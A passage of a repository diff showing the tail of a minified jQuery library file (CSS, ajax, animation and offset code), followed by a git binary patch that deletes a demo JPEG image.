e!==b?d.style(a,c,e):d.css(a,c)})},d.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bj(a,"opacity","opacity");return c===""?"1":c}return a.style.opacity}}},cssNumber:{zIndex:!0,fontWeight:!0,opacity:!0,zoom:!0,lineHeight:!0},cssProps:{"float":d.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,e,f){if(a&&a.nodeType!==3&&a.nodeType!==8&&a.style){var g,h=d.camelCase(c),i=a.style,j=d.cssHooks[h];c=d.cssProps[h]||h;if(e===b){if(j&&"get"in j&&(g=j.get(a,!1,f))!==b)return g;return i[c]}if(typeof e==="number"&&isNaN(e)||e==null)return;typeof e==="number"&&!d.cssNumber[h]&&(e+="px");if(!j||!("set"in j)||(e=j.set(a,e))!==b)try{i[c]=e}catch(k){}}},css:function(a,c,e){var f,g=d.camelCase(c),h=d.cssHooks[g];c=d.cssProps[g]||g;if(h&&"get"in h&&(f=h.get(a,!0,e))!==b)return f;if(bj)return bj(a,c,g)},swap:function(a,b,c){var d={};for(var e in b)d[e]=a.style[e],a.style[e]=b[e];c.call(a);for(e in b)a.style[e]=d[e]},camelCase:function(a){return a.replace(bc,bm)}}),d.curCSS=d.css,d.each(["height","width"],function(a,b){d.cssHooks[b]={get:function(a,c,e){var f;if(c){a.offsetWidth!==0?f=bn(a,b,e):d.swap(a,bg,function(){f=bn(a,b,e)});if(f<=0){f=bj(a,b,b),f==="0px"&&bl&&(f=bl(a,b,b));if(f!=null)return f===""||f==="auto"?"0px":f}if(f<0||f==null){f=a.style[b];return f===""||f==="auto"?"0px":f}return typeof f==="string"?f:f+"px"}},set:function(a,b){if(!be.test(b))return b;b=parseFloat(b);if(b>=0)return b+"px"}}}),d.support.opacity||(d.cssHooks.opacity={get:function(a,b){return bb.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style;c.zoom=1;var e=d.isNaN(b)?"":"alpha(opacity="+b*100+")",f=c.filter||"";c.filter=ba.test(f)?f.replace(ba,e):c.filter+" "+e}}),c.defaultView&&c.defaultView.getComputedStyle&&(bk=function(a,c,e){var f,g,h;e=e.replace(bd,"-$1").toLowerCase();if(!(g=a.ownerDocument.defaultView))return b;if(h=g.getComputedStyle(a,null))f=h.getPropertyValue(e),f===""&&!d.contains(a.ownerDocument.documentElement,a)&&(f=d.style(a,e));return f}),c.documentElement.currentStyle&&(bl=function(a,b){var c,d=a.currentStyle&&a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;!be.test(d)&&bf.test(d)&&(c=f.left,e&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":d||0,d=f.pixelLeft+"px",f.left=c,e&&(a.runtimeStyle.left=e));return d===""?"auto":d}),bj=bk||bl,d.expr&&d.expr.filters&&(d.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!d.support.reliableHiddenOffsets&&(a.style.display||d.css(a,"display"))==="none"},d.expr.filters.visible=function(a){return!d.expr.filters.hidden(a)});var bo=/%20/g,bp=/\[\]$/,bq=/\r?\n/g,br=/#.*$/,bs=/^(.*?):\s*(.*?)\r?$/mg,bt=/^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bu=/^(?:GET|HEAD)$/,bv=/^\/\//,bw=/\?/,bx=/)<[^<]*)*<\/script>/gi,by=/^(?:select|textarea)/i,bz=/\s+/,bA=/([?&])_=[^&]*/,bB=/^(\w+:)\/\/([^\/?#:]+)(?::(\d+))?/,bC=d.fn.load,bD={},bE={};d.fn.extend({load:function(a,b,c){if(typeof a!=="string"&&bC)return bC.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var f=a.slice(e,a.length);a=a.slice(0,e)}var g="GET";b&&(d.isFunction(b)?(c=b,b=null):typeof b==="object"&&(b=d.param(b,d.ajaxSettings.traditional),g="POST"));var h=this;d.ajax({url:a,type:g,dataType:"html",data:b,complete:function(a,b,e){e=a.responseText,a.isResolved()&&(a.done(function(a){e=a}),h.html(f?d("
").append(e.replace(bx,"")).find(f):e)),c&&h.each(c,[e,b,a])}});return this},serialize:function(){return d.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?d.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||by.test(this.nodeName)||bt.test(this.type))}).map(function(a,b){var c=d(this).val();return c==null?null:d.isArray(c)?d.map(c,function(a,c){return{name:b.name,value:a.replace(bq,"\r\n")}}):{name:b.name,value:c.replace(bq,"\r\n")}}).get()}}),d.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){d.fn[b]=function(a){return this.bind(b,a)}}),d.each(["get","post"],function(a,b){d[b]=function(a,c,e,f){d.isFunction(c)&&(f=f||e,e=c,c=null);return d.ajax({type:b,url:a,data:c,success:e,dataType:f})}}),d.extend({getScript:function(a,b){return d.get(a,null,b,"script")},getJSON:function(a,b,c){return d.get(a,b,c,"json")},ajaxSetup:function(a){d.extend(!0,d.ajaxSettings,a),a.context&&(d.ajaxSettings.context=a.context)},ajaxSettings:{url:location.href,global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":"*/*"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":d.parseJSON,"text xml":d.parseXML}},ajaxPrefilter:bF(bD),ajaxTransport:bF(bE),ajax:function(a,e){function w(a,c,e,l){if(t!==2){t=2,p&&clearTimeout(p),o=b,m=l||"",v.readyState=a?4:0;var n,q,r,s=e?bI(f,v,e):b,u,w;if(a>=200&&a<300||a===304){if(f.ifModified){if(u=v.getResponseHeader("Last-Modified"))d.lastModified[f.url]=u;if(w=v.getResponseHeader("Etag"))d.etag[f.url]=w}if(a===304)c="notmodified",n=!0;else try{q=bJ(f,s),c="success",n=!0}catch(x){c="parsererror",r=x}}else r=c,a&&(c="error",a<0&&(a=0));v.status=a,v.statusText=c,n?i.resolveWith(g,[q,c,v]):i.rejectWith(g,[v,c,r]),v.statusCode(k),k=b,f.global&&h.trigger("ajax"+(n?"Success":"Error"),[v,f,n?q:r]),j.resolveWith(g,[v,c]),f.global&&(h.trigger("ajaxComplete",[v,f]),--d.active||d.event.trigger("ajaxStop"))}}typeof e!=="object"&&(e=a,a=b),e=e||{};var f=d.extend(!0,{},d.ajaxSettings,e),g=(f.context=("context"in e?e:d.ajaxSettings).context)||f,h=g===f?d.event:d(g),i=d.Deferred(),j=d._Deferred(),k=f.statusCode||{},l={},m,n,o,p,q=c.location,r=q.protocol||"http:",s,t=0,u,v={readyState:0,setRequestHeader:function(a,b){t===0&&(l[a.toLowerCase()]=b);return this},getAllResponseHeaders:function(){return t===2?m:null},getResponseHeader:function(a){var b;if(t===2){if(!n){n={};while(b=bs.exec(m))n[b[1].toLowerCase()]=b[2]}b=n[a.toLowerCase()]}return b||null},abort:function(a){a=a||"abort",o&&o.abort(a),w(0,a);return this}};i.promise(v),v.success=v.done,v.error=v.fail,v.complete=j.done,v.statusCode=function(a){if(a){var b;if(t<2)for(b in a)k[b]=[k[b],a[b]];else b=a[v.status],v.then(b,b)}return this},f.url=(""+(a||f.url)).replace(br,"").replace(bv,r+"//"),f.dataTypes=d.trim(f.dataType||"*").toLowerCase().split(bz),f.crossDomain||(s=bB.exec(f.url.toLowerCase()),f.crossDomain=s&&(s[1]!=r||s[2]!=q.hostname||(s[3]||(s[1]==="http:"?80:443))!=(q.port||(r==="http:"?80:443)))),f.data&&f.processData&&typeof f.data!=="string"&&(f.data=d.param(f.data,f.traditional)),bG(bD,f,e,v),f.type=f.type.toUpperCase(),f.hasContent=!bu.test(f.type),f.global&&d.active++===0&&d.event.trigger("ajaxStart");if(!f.hasContent){f.data&&(f.url+=(bw.test(f.url)?"&":"?")+f.data);if(f.cache===!1){var x=d.now(),y=f.url.replace(bA,"$1_="+x);f.url=y+(y===f.url?(bw.test(f.url)?"&":"?")+"_="+x:"")}}if(f.data&&f.hasContent&&f.contentType!==!1||e.contentType)l["content-type"]=f.contentType;f.ifModified&&(d.lastModified[f.url]&&(l["if-modified-since"]=d.lastModified[f.url]),d.etag[f.url]&&(l["if-none-match"]=d.etag[f.url])),l.accept=f.dataTypes[0]&&f.accepts[f.dataTypes[0]]?f.accepts[f.dataTypes[0]]+(f.dataTypes[0]!=="*"?", */*; q=0.01":""):f.accepts["*"];for(u in f.headers)l[u.toLowerCase()]=f.headers[u];if(!f.beforeSend||f.beforeSend.call(g,v,f)!==!1&&t!==2){for(u in {success:1,error:1,complete:1})v[u](f[u]);o=bG(bE,f,e,v);if(o){t=v.readyState=1,f.global&&h.trigger("ajaxSend",[v,f]),f.async&&f.timeout>0&&(p=setTimeout(function(){v.abort("timeout")},f.timeout));try{o.send(l,w)}catch(z){status<2?w(-1,z):d.error(z)}}else w(-1,"No Transport")}else w(0,"abort"),v=!1;return v},param:function(a,c){var e=[],f=function(a,b){b=d.isFunction(b)?b():b,e[e.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=d.ajaxSettings.traditional);if(d.isArray(a)||a.jquery)d.each(a,function(){f(this.name,this.value)});else for(var g in a)bH(g,a[g],c,f);return e.join("&").replace(bo,"+")}}),d.extend({active:0,lastModified:{},etag:{}});var bK=d.now(),bL=/(\=)\?(&|$)|()\?\?()/i;d.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return d.expando+"_"+bK++}}),d.ajaxPrefilter("json jsonp",function(b,c,e){e=typeof b.data==="string";if(b.dataTypes[0]==="jsonp"||c.jsonpCallback||c.jsonp!=null||b.jsonp!==!1&&(bL.test(b.url)||e&&bL.test(b.data))){var f,g=b.jsonpCallback=d.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,h=a[g],i=b.url,j=b.data,k="$1"+g+"$2";b.jsonp!==!1&&(i=i.replace(bL,k),b.url===i&&(e&&(j=j.replace(bL,k)),b.data===j&&(i+=(/\?/.test(i)?"&":"?")+b.jsonp+"="+g))),b.url=i,b.data=j,a[g]=function(a){f=[a]},b.complete=[function(){a[g]=h;if(h)f&&d.isFunction(h)&&a[g](f[0]);else try{delete a[g]}catch(b){}},b.complete],b.converters["script json"]=function(){f||d.error(g+" was not called");return f[0]},b.dataTypes[0]="json";return"script"}}),d.ajaxSetup({accepts:{script:"text/javascript, application/javascript"},contents:{script:/javascript/},converters:{"text script":function(a){d.globalEval(a);return a}}}),d.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),d.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var bM=d.now(),bN={},bO,bP;d.ajaxSettings.xhr=a.ActiveXObject?function(){if(a.location.protocol!=="file:")try{return new a.XMLHttpRequest}catch(b){}try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(c){}}:function(){return new a.XMLHttpRequest};try{bP=d.ajaxSettings.xhr()}catch(bQ){}d.support.ajax=!!bP,d.support.cors=bP&&"withCredentials"in bP,bP=b,d.support.ajax&&d.ajaxTransport(function(b){if(!b.crossDomain||d.support.cors){var c;return{send:function(e,f){bO||(bO=1,d(a).bind("unload",function(){d.each(bN,function(a,b){b.onreadystatechange&&b.onreadystatechange(1)})}));var g=b.xhr(),h;b.username?g.open(b.type,b.url,b.async,b.username,b.password):g.open(b.type,b.url,b.async),(!b.crossDomain||b.hasContent)&&!e["x-requested-with"]&&(e["x-requested-with"]="XMLHttpRequest");try{d.each(e,function(a,b){g.setRequestHeader(a,b)})}catch(i){}g.send(b.hasContent&&b.data||null),c=function(a,e){if(c&&(e||g.readyState===4)){c=0,h&&(g.onreadystatechange=d.noop,delete bN[h]);if(e)g.readyState!==4&&g.abort();else{var i=g.status,j,k=g.getAllResponseHeaders(),l={},m=g.responseXML;m&&m.documentElement&&(l.xml=m),l.text=g.responseText;try{j=g.statusText}catch(n){j=""}i=i===0?!b.crossDomain||j?k?304:0:302:i==1223?204:i,f(i,j,l,k)}}},b.async&&g.readyState!==4?(h=bM++,bN[h]=g,g.onreadystatechange=c):c()},abort:function(){c&&c(0,1)}}}});var bR={},bS=/^(?:toggle|show|hide)$/,bT=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,bU,bV=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];d.fn.extend({show:function(a,b,c){var e,f;if(a||a===0)return this.animate(bW("show",3),a,b,c);for(var g=0,h=this.length;g=0;a--)c[a].elem===this&&(b&&c[a](!0),c.splice(a,1))}),b||this.dequeue();return this}}),d.each({slideDown:bW("show",1),slideUp:bW("hide",1),slideToggle:bW("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){d.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),d.extend({speed:function(a,b,c){var e=a&&typeof a==="object"?d.extend({},a):{complete:c||!c&&b||d.isFunction(a)&&a,duration:a,easing:c&&b||b&&!d.isFunction(b)&&b};e.duration=d.fx.off?0:typeof e.duration==="number"?e.duration:e.duration in d.fx.speeds?d.fx.speeds[e.duration]:d.fx.speeds._default,e.old=e.complete,e.complete=function(){e.queue!==!1&&d(this).dequeue(),d.isFunction(e.old)&&e.old.call(this)};return e},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig||(b.orig={})}}),d.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(d.fx.step[this.prop]||d.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a=parseFloat(d.css(this.elem,this.prop));return a||0},custom:function(a,b,c){function g(a){return e.step(a)}var e=this,f=d.fx;this.startTime=d.now(),this.start=a,this.end=b,this.unit=c||this.unit||"px",this.now=this.start,this.pos=this.state=0,g.elem=this.elem,g()&&d.timers.push(g)&&!bU&&(bU=setInterval(f.tick,f.interval))},show:function(){this.options.orig[this.prop]=d.style(this.elem,this.prop),this.options.show=!0,this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),d(this.elem).show()},hide:function(){this.options.orig[this.prop]=d.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b=d.now(),c=!0;if(a||b>=this.options.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),this.options.curAnim[this.prop]=!0;for(var e in this.options.curAnim)this.options.curAnim[e]!==!0&&(c=!1);if(c){if(this.options.overflow!=null&&!d.support.shrinkWrapBlocks){var f=this.elem,g=this.options;d.each(["","X","Y"],function(a,b){f.style["overflow"+b]=g.overflow[a]})}this.options.hide&&d(this.elem).hide();if(this.options.hide||this.options.show)for(var h in this.options.curAnim)d.style(this.elem,h,this.options.orig[h]);this.options.complete.call(this.elem)}return!1}var i=b-this.startTime;this.state=i/this.options.duration;var j=this.options.specialEasing&&this.options.specialEasing[this.prop],k=this.options.easing||(d.easing.swing?"swing":"linear");this.pos=d.easing[j||k](this.state,i,0,1,this.options.duration),this.now=this.start+(this.end-this.start)*this.pos,this.update();return!0}},d.extend(d.fx,{tick:function(){var a=d.timers;for(var b=0;b
";d.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"}),b.innerHTML=j,a.insertBefore(b,a.firstChild),e=b.firstChild,f=e.firstChild,h=e.nextSibling.firstChild.firstChild,this.doesNotAddBorder=f.offsetTop!==5,this.doesAddBorderForTableAndCells=h.offsetTop===5,f.style.position="fixed",f.style.top="20px",this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15,f.style.position=f.style.top="",e.style.overflow="hidden",e.style.position="relative",this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5,this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i,a.removeChild(b),a=b=e=f=g=h=null,d.offset.initialize=d.noop},bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;d.offset.initialize(),d.offset.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(d.css(a,"marginTop"))||0,c+=parseFloat(d.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var e=d.css(a,"position");e==="static"&&(a.style.position="relative");var f=d(a),g=f.offset(),h=d.css(a,"top"),i=d.css(a,"left"),j=e==="absolute"&&d.inArray("auto",[h,i])>-1,k={},l={},m,n;j&&(l=f.position()),m=j?l.top:parseInt(h,10)||0,n=j?l.left:parseInt(i,10)||0,d.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):f.css(k)}},d.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),e=bZ.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(d.css(a,"marginTop"))||0,c.left-=parseFloat(d.css(a,"marginLeft"))||0,e.top+=parseFloat(d.css(b[0],"borderTopWidth"))||0,e.left+=parseFloat(d.css(b[0],"borderLeftWidth"))||0;return{top:c.top-e.top,left:c.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&(!bZ.test(a.nodeName)&&d.css(a,"position")==="static"))a=a.offsetParent;return a})}}),d.each(["Left","Top"],function(a,c){var e="scroll"+c;d.fn[e]=function(c){var f=this[0],g;if(!f)return null;if(c!==b)return this.each(function(){g=b$(this),g?g.scrollTo(a?d(g).scrollLeft():c,a?c:d(g).scrollTop()):this[e]=c});g=b$(f);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:d.support.boxModel&&g.document.documentElement[e]||g.document.body[e]:f[e]}}),d.each(["Height","Width"],function(a,c){var e=c.toLowerCase();d.fn["inner"+c]=function(){return this[0]?parseFloat(d.css(this[0],e,"padding")):null},d.fn["outer"+c]=function(a){return this[0]?parseFloat(d.css(this[0],e,a?"margin":"border")):null},d.fn[e]=function(a){var f=this[0];if(!f)return a==null?null:this;if(d.isFunction(a))return this.each(function(b){var c=d(this);c[e](a.call(this,b,c[e]()))});if(d.isWindow(f)){var g=f.document.documentElement["client"+c];return f.document.compatMode==="CSS1Compat"&&g||f.document.body["client"+c]||g}if(f.nodeType===9)return Math.max(f.documentElement["client"+c],f.body["scroll"+c],f.documentElement["scroll"+c],f.body["offset"+c],f.documentElement["offset"+c]);if(a===b){var h=d.css(f,e),i=parseFloat(h);return d.isNaN(i)?h:i}return this.css(e,typeof a==="string"?a:a+"px")}})})(window); diff --git a/demos/butcher/right.jpg b/demos/butcher/right.jpg deleted file mode 100644 index 619367d6dbd794ec63b430cf16db5af3dc28ff59..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 35905 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 